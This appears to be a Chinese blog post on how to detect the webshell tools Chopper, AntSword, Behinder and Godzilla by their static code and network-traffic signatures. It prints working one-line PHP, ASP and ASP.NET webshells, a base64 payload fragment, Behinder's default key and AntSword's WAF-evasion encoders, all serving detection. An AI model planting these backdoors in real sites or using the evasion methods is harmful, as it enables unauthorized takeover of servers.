什么是webshell已经在之前的文章里做过讲解了,这里就不再赘述

附上链接:【每天学一点新知识】getshell???webshell???_RexHarrr的博客-CSDN博客


目录

中国菜刀

菜刀webshell的静态特征

菜刀webshell的动态特征

参数特征:

如何识别

蚁剑

蚁剑webshell静态特征

蚁剑webshell动态特征

使用base64编码器和解码器时

冰蝎

冰蝎2.0 webshell木马动态特征

冰蝎3.0 webshell木马动态特征

哥斯拉

哥斯拉webshell木马静态特征

哥斯拉webshell动态特征


参考:菜刀冰蝎蚁剑哥斯拉等webshell工具及特征分析 - SecPulse.COM | 安全脉搏

中国菜刀

中国菜刀(Chopper)是一款经典的网站管理工具,具有文件管理、数据库管理、虚拟终端等功能。

它的流量特征十分明显,现如今的安全设备基本上都可以识别到菜刀的流量。现在的菜刀基本都是在安全教学中使用。

菜刀webshell的静态特征

菜刀使用的webshell为一句话木马,特征十分明显

常见一句话(Eval):

PHP, ASP, ASP.NET 的网站都可以:

PHP:    <?php @eval($_POST['caidao']);?>

ASP:    <%eval request("caidao")%>

ASP.NET:    <%@ Page Language="Jscript"%><%eval(Request.Item["caidao"],"unsafe");%>

菜刀webshell的动态特征

请求包中:

ua头为百度爬虫

请求体中存在eavl,base64等特征字符

请求体中传递的payload为base64编码,并且存在固定的QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7J

请求体中执行结果响应为明文,格式为X@Y    结果   X@Y之中

参数特征:

a(密码)参数:值为执行的函数加上对payload的base64解码

Z0参数:base64加密的payload

Z1参数:shell存在的位置

如何识别

(1)执行函数:@eval,@assert 等;

(2)base64_decode($_POST[Z0]),$_GET,$_REQUEST

(3)截取参数z0,进行base64_decode后 ,

@ini_set(“display_errors”,”0″);@set_time_limit(0);@set_magic_quotes_runtime(0)等

(4)从请求侧的代码来看,执行结果会被包裹在->| |<-中

蚁剑

AntSword(蚁剑)是一个开放源代码,跨平台的网站管理工具,旨在满足渗透测试人员以及具有权限和/或授权的安全研究人员以及网站管理员的需求。可以自定义编码器。

蚁剑webshell静态特征

https://github.com/AntSwordProject/AwesomeScript蚁剑官方为我们提供了制作好的后门,官方的脚本均做了不同程度“变异”,蚁剑的核心代码是由菜刀修改而来的,所有普通的一句话木马也可以使用。

php中使用assert,eval执行, asp 使用eval ,在jsp使用的是Java类加载(ClassLoader),同时会带有base64编码解码等字符特征

蚁剑webshell动态特征

默认编码连接时

这里我们直接使用菜刀的一句话webshell

每个请求体都存在@ini_set(“display_errors”, “0”);@set_time_limit(0)开头。并且存在base64等字符

响应包的结果返回格式为  随机数 结果  随机数

使用base64编码器和解码器时

蚁剑会随机生成一个参数传入base64编码后的代码,密码参数的值是通过POST获取随机参数的值然后进行base64解码后使用eval执行

响应包的结果返回格式为  随机数 编码后的结果  随机数

(1)编码器

编码器是在发送数据到服务端之前对payload进行相关处理,目的是为了绕过请求侧的流量检测,默认的编码器:

  • default编码器:不对传输的payload进行任何操作。
  • base64编码器:对payload进行base64编码。
  • chr编码器:对payload的所有字符都利用利用chr函数进行转换。
  • chr16编码器:对payload的所有字符都利用chr函数转换,与chr编码器不同的是chr16编码器对chr函数传递的参数是十六进制。
  • rot13编码器:对payload中的字母进行rot13转换。
  • 以上五种编码为中国蚁剑自带的,不需要配置就可以直接使用,除此之外,还存在一个RSA编码器,该编码器将
  • RSA编码器:该编码器默认不展示,需要自己配置。配置方法:在编码管理界面点击生成RSA配置生成公钥、私钥和PHP代码,然后点击新建编码器选择PHP RSA之后输入编码器的名字即可。

(2)解码器

解码器主要是对接收到的数据进相关处理,目的是为了绕过响应侧的流量检测,默认的解码器:

  • default解码器:不对响应数据进行处理。
  • base64解码器:将收到的数据进行base64解码。
  • rot13解码器:将收到的数据进行rot13转换,由于英文字母一共26个所以置换两次之后会还原。

冰蝎

冰蝎是一款动态二进制加密网站管理客户端。

冰蝎2.0 webshell木马动态特征

在了解冰蝎3.0之前,先看看2.0是怎么交互等

2.0中采用协商密钥机制。第一阶段请求中返回包状态码为200,返回内容必定是16位的密钥

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

建立连接后 所有请求 Cookie的格式都为: Cookie: PHPSESSID=; path=/;

冰蝎3.0 webshell木马动态特征

在3.0中改了,去除了动态密钥协商机制,采用预共享密钥,全程无明文交互,密钥格式为md5(“admin”)[0:16],但还是会存在一些特征

在使用命令执行功能时,请求包中content-length 为5740或5720(可能会根据Java版本而改变)

每一个请求头中存在Pragma: no-cache,Cache-Control: no-cache

冰蝎3.0 和v2.1相比,最重要的变化就是“去除动态密钥协商机制,采用预共享密钥,全程无明文交互,密钥格式为md5(“admin”)[0:16];冰蝎的默认密钥为“e45e329feb5d925b”

密文的加密方式为先将传递数据base64加密,再将其进行AES加密,由于新版本中取消了动态密钥交互过程,加密的密钥被写死在shell中,如果是不改密码直接使用默认的shell,检测是可以进行解密检测敏感字符的,比如:error_reporting(0) ,phpinfo()等。

如果密码交互失败,冰蝎会进行常规密钥交互阶段,而且由于密码错误,shell中获取内容失败,会爆出目录文件错误提示。

如果攻击者改了密码,密文便无法监测,可以从header头入手,首先是user-agent,内置的25个ua请求头,不自定义的话太老,可以在其源码constants.class中自行更改。

初始化的Accept,Accept-Language,Content-type这三个的值也是一个固定值,且Content-type为小写t,这也可以作为一个监测点。具体值如下:

“Accept”, “text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9”

“Accept-Language”, “zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7”

“Content-type”, “application/x-www-form-urlencoded”

或者

“Accept”, “text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8”

“Accept-Language”, “zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2”

“Content-type”, “application/x-www-form-urlencoded”

referer:连接的两个包referer中的文件名都是随机生成的,但文件名是纯大写或者是纯小写,可作为一个弱特征检测。

Cookie:冰蝎的机制是需要从set-cookie中去取值,所以在发包中即使是有了cookie,他的接收包中都会有setcookie,除去第一个包没有。

哥斯拉

哥斯拉号称全部类型的shell均可绕过市面所有静态查杀、流量加密可绕过市面全部WAF,且自带众多插件。支持对载荷进行AES等各种加密,支持自定义Http头,支持内存shell,提供丰富的Webshell功能。 哥斯拉客户端运行在Java平台上,通过调用Java库产生TLS流量。哥斯拉生成phpshell文件,存在默认密码和密钥:

哥斯拉webshell木马静态特征

选择默认脚本编码生成的情况下,jsp会出现xc,pass字符和Java反射(ClassLoader,getClass().getClassLoader()),base64加解码等特征

EVAL_XOR_BASE64编码连接特征很明显,经过url解码后,pass=eval(base64_decode… 拦截明显的木马特征即可。

哥斯拉webshell动态特征

哥斯拉页面配置中header中有三个固定值,user-agent,accept,accept-language。该弱特征也可作为检测。

所有请求中Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

所有响应中Cache-Control: no-store, no-cache, must-revalidate,

以上两个只能作为弱特征参考

同时在所有请求中Cookie中后面都存在;特征

【每天学习一点新知识】菜刀、冰蝎、蚁剑、哥斯拉webshell工具分析相关推荐

  1. 渗透测试-菜刀冰蝎蚁剑哥斯拉等webshell工具及特征分析

    菜刀冰蝎蚁剑哥斯拉等webshell工具及特征分析 文章目录 菜刀冰蝎蚁剑哥斯拉等webshell工具及特征分析 前言 Webshell简介 中国菜刀 菜刀webshell的静态特征 菜刀webshe ...

  2. 【每天学习一点新知识】中间人攻击是什么

    目录 中间人攻击介绍 中间人攻击原理 1. ARP欺骗 2. DNS欺骗 防御方法 中间人攻击介绍 中间人攻击(man-in-the-middle attack, abbreviated to MIT ...

  3. 每天学习一点新知识(一)——Unity开发游戏的拆包

    每天学习一点新知识(一)--Unity开发游戏的解包 用了CSDN有一段时间了,但一直都没有写过blog,只是在输入,没有输出.而且一直主要都是在查一些作业.题解什么的,还是希望自己能够多学到一些新东 ...

  4. [网络安全自学篇] 八十一.WHUCTF之WEB类解题思路WP(文件上传漏洞、冰蝎蚁剑、反序列化phar)

    这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您喜欢,一起进步.前文分享了WHUCTF部分题目,包括代码审计.文件包含.过滤绕过.SQL注入.这篇文 ...

  5. 渗透测试-流量加密之冰蝎蚁剑

    文章目录 前言 冰蝎 PHP冰蝎马 通信数据包 冰蝎初体验 冰蝎攻与防 蚁剑 蚁剑的安装 蚁剑初体验 蚁剑编码器 蚁剑攻与防 总结 前言 一句话木马是一般是指一段短小精悍的恶意代码,这段代码可以用作一 ...

  6. 【每天学习一点新知识】浏览器的同源策略

    目录 同源的定义 同源策略的限制 规避同源策略 document.domain属性 跨域资源共享(CORS) 跨文档通信 JSONP WebSocket Nginx反向代理         浏览器默认 ...

  7. 【每天学习一点新知识】网络安全--截获攻击

    截获攻击原理和后果 原理 若正常传输路径为终端A到终端B,黑客首先改变传输路径为终端A-黑客终端-终端B,使得传输信息必须经过黑客终端,黑客终端就可以截获终端A传输给终端B的消息. 后果 目前很多访问 ...

  8. 【每天学习一点新知识】nmap端口扫描

    nmap所识别的6个端口状态 open(开放的) 应用程序正在该端口接收TCP 连接或者UDP报文.发现这一点常常是端口扫描 的主要目标.安全意识强的人们知道每个开放的端口 都是攻击的入口.攻击者或者 ...

  9. 【每天学习一点新知识】JNDI注入

    什么是JNDI JNDI是Java的一种API,为我们提供了查找和访问各种命名和目录服务的通用统一的接口.通过JNDI统一接口我们可以来访问各种不同类型的服务,例如远程方法调用(RMI),通用对象请求 ...

最新文章

  1. (原创)c#学习笔记10--定义类成员03--接口的实现01--显示实现接口成员
  2. 第13届景驰-埃森哲杯广东工业大学ACM程序设计大赛 L-回旋星空
  3. GPUImageMovieWriter实现暂停录制,重新录制
  4. java中执行cmd命令_如何通过Java执行cmd命令
  5. swagger配置分组
  6. 零基础在学习Java时如何才能打好基础呢
  7. WinJS实用开发技巧(4):Appbar中使用自定义图片
  8. 1.IT-解决方案-1-FTP
  9. Entity Framework 实体框架的形成之旅--基于泛型的仓储模式的实体框架(1)
  10. no amd graphics driver怎么解决_《英雄联盟手游》卡顿怎么解决 游戏设置优化教程...
  11. tar 解压zip_Keka for mac(压缩解压工具)
  12. 代码神注释鉴赏,喜欢拿去用
  13. java字节码指令简介(仅了解)
  14. 测试用例的测试编号是自己定义的还是别人给的_初级软件测试工程师必须掌握的东西...
  15. wampserver的phpmyadmin(默认3306)端口如何更改为3307?
  16. day27 java的集合(5) HashMap集合和与Hashtable的区别
  17. html5触摸界面设计与开发_原生APP的开发步骤主要分为哪些?
  18. 每天一个linux命令:du 与 df
  19. 在windows生产环境搭建sphinx的注意事项
  20. MySQL环境变量的配置(详细教程)

热门文章

  1. 大部分有高学历的人比低学历的人强
  2. U3d之物理引擎(下)
  3. 4x root 红米_红米Note 4X root教程 红米Note4X获取root权限的方法
  4. Qgis系统教程1:软件安装
  5. ubuntu/linux下打包压缩war、解压war包和jar命令
  6. 学会这几项windows操作,轻松玩转自己的个人电脑
  7. 专访 | 腾讯公司副总裁王巨宏:培养新兴开源力量,为中国技术自主创新添砖加瓦...
  8. 程序设计第二十二题 空心三角形
  9. 关于百度地图和高德地图,关于地图坐标系
  10. 如何启动单线程实现多线程效果及保证安全?